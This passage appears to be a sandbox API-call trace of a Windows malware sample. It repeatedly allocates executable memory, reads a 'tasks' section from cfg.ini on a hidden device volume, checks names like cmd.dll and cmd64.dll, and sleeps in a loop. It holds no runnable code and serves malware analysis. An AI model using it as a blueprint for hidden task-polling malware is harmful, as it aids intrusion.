returned 0x0 [0128.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.816] KeLeaveCriticalRegion () [0128.816] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.816] KeEnterCriticalRegion () [0128.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.816] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.816] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01390, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.816] KeLeaveCriticalRegion () [0128.816] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.816] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.816] KeEnterCriticalRegion () [0128.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.816] ExFreePoolWithTag (P=0xfffffa8003c012d0, Tag=0x0) [0128.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.816] KeLeaveCriticalRegion () [0128.816] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.816] ReleaseMutex (hMutex=0xf0) returned 1 [0128.816] Sleep (dwMilliseconds=0x927c0) [0128.817] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.817] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.824] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.824] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.824] KeEnterCriticalRegion () [0128.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.824] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.824] IdePortDispatch () returned 0x103 [0128.824] KeWaitForMutexObject () returned 0x0 [0128.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.825] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.825] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.825] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.825] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.825] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00160 [0128.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.825] KeLeaveCriticalRegion () [0128.825] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.825] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.825] KeEnterCriticalRegion () [0128.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.825] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.825] KeLeaveCriticalRegion () [0128.825] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.825] KeEnterCriticalRegion () [0128.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.825] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.825] IdePortDispatch () returned 0x103 [0128.825] KeWaitForMutexObject () returned 0x0 [0128.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.825] KeLeaveCriticalRegion () [0128.825] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.825] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.826] KeEnterCriticalRegion () [0128.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.826] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b50000 [0128.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.826] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.826] IdePortDispatch () returned 0x103 [0128.826] KeWaitForMutexObject () returned 0x0 [0128.826] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.826] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.826] IdePortDispatch () returned 0x103 [0128.826] KeWaitForMutexObject () returned 0x0 [0128.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.826] KeLeaveCriticalRegion () [0128.826] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.827] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.827] KeEnterCriticalRegion () [0128.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.827] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.827] KeLeaveCriticalRegion () [0128.827] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.827] KeEnterCriticalRegion () [0128.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.827] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.827] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c003c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.827] KeLeaveCriticalRegion () [0128.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.827] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.827] KeEnterCriticalRegion () [0128.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.827] ExFreePoolWithTag (P=0xfffffa8003c00160, Tag=0x0) [0128.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.827] KeLeaveCriticalRegion () [0128.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.827] ReleaseMutex (hMutex=0xf0) returned 1 [0128.827] Sleep (dwMilliseconds=0x927c0) [0128.839] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.839] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.839] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.839] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.839] KeEnterCriticalRegion () [0128.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.840] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.840] IdePortDispatch () returned 0x103 [0128.840] KeWaitForMutexObject () returned 0x0 [0128.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.840] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.840] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.840] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.840] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.840] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01ec0 [0128.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.840] KeLeaveCriticalRegion () [0128.840] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.840] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.840] KeEnterCriticalRegion () [0128.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.840] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.840] KeLeaveCriticalRegion () [0128.840] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.840] KeEnterCriticalRegion () [0128.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.840] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.840] IdePortDispatch () returned 0x103 [0128.840] KeWaitForMutexObject () returned 0x0 [0128.841] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.841] KeLeaveCriticalRegion () [0128.841] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.841] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.841] KeEnterCriticalRegion () [0128.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.841] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b54000 [0128.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.841] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.841] IdePortDispatch () returned 0x103 [0128.841] KeWaitForMutexObject () returned 0x0 [0128.841] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.841] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.841] IdePortDispatch () returned 0x103 [0128.841] KeWaitForMutexObject () returned 0x0 [0128.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.842] KeLeaveCriticalRegion () [0128.842] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.842] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.842] KeEnterCriticalRegion () [0128.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.842] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.842] KeLeaveCriticalRegion () [0128.842] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.842] KeEnterCriticalRegion () [0128.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.842] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.842] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01190, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.842] KeLeaveCriticalRegion () [0128.842] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.842] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.842] KeEnterCriticalRegion () [0128.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.842] ExFreePoolWithTag (P=0xfffffa8003c01ec0, Tag=0x0) [0128.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.843] KeLeaveCriticalRegion () [0128.843] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.843] ReleaseMutex (hMutex=0xf0) returned 1 [0128.843] Sleep (dwMilliseconds=0x927c0) [0128.860] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.860] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.860] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.860] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.860] KeEnterCriticalRegion () [0128.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.860] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.860] IdePortDispatch () returned 0x103 [0128.860] KeWaitForMutexObject () returned 0x0 [0128.860] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.860] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.860] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.860] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.860] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.860] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00260 [0128.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.860] KeLeaveCriticalRegion () [0128.860] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.860] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.860] KeEnterCriticalRegion () [0128.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.860] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.860] KeLeaveCriticalRegion () [0128.860] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.860] KeEnterCriticalRegion () [0128.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.861] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.861] IdePortDispatch () returned 0x103 [0128.861] KeWaitForMutexObject () returned 0x0 [0128.861] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.861] KeLeaveCriticalRegion () [0128.861] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.861] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.861] KeEnterCriticalRegion () [0128.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.861] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b59000 [0128.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.861] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.861] IdePortDispatch () returned 0x103 [0128.861] KeWaitForMutexObject () returned 0x0 [0128.861] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.861] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.861] IdePortDispatch () returned 0x103 [0128.862] KeWaitForMutexObject () returned 0x0 [0128.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.862] KeLeaveCriticalRegion () [0128.862] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.862] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.862] KeEnterCriticalRegion () [0128.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.862] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.862] KeLeaveCriticalRegion () [0128.862] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.862] KeEnterCriticalRegion () [0128.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.862] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.863] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.863] KeLeaveCriticalRegion () [0128.863] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.863] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.863] KeEnterCriticalRegion () [0128.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.863] ExFreePoolWithTag (P=0xfffffa8003c00260, Tag=0x0) [0128.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.863] KeLeaveCriticalRegion () [0128.863] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.863] ReleaseMutex (hMutex=0xf0) returned 1 [0128.863] Sleep (dwMilliseconds=0x927c0) [0128.878] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.878] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.878] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.878] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.878] KeEnterCriticalRegion () [0128.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.878] IoAllocateIrp 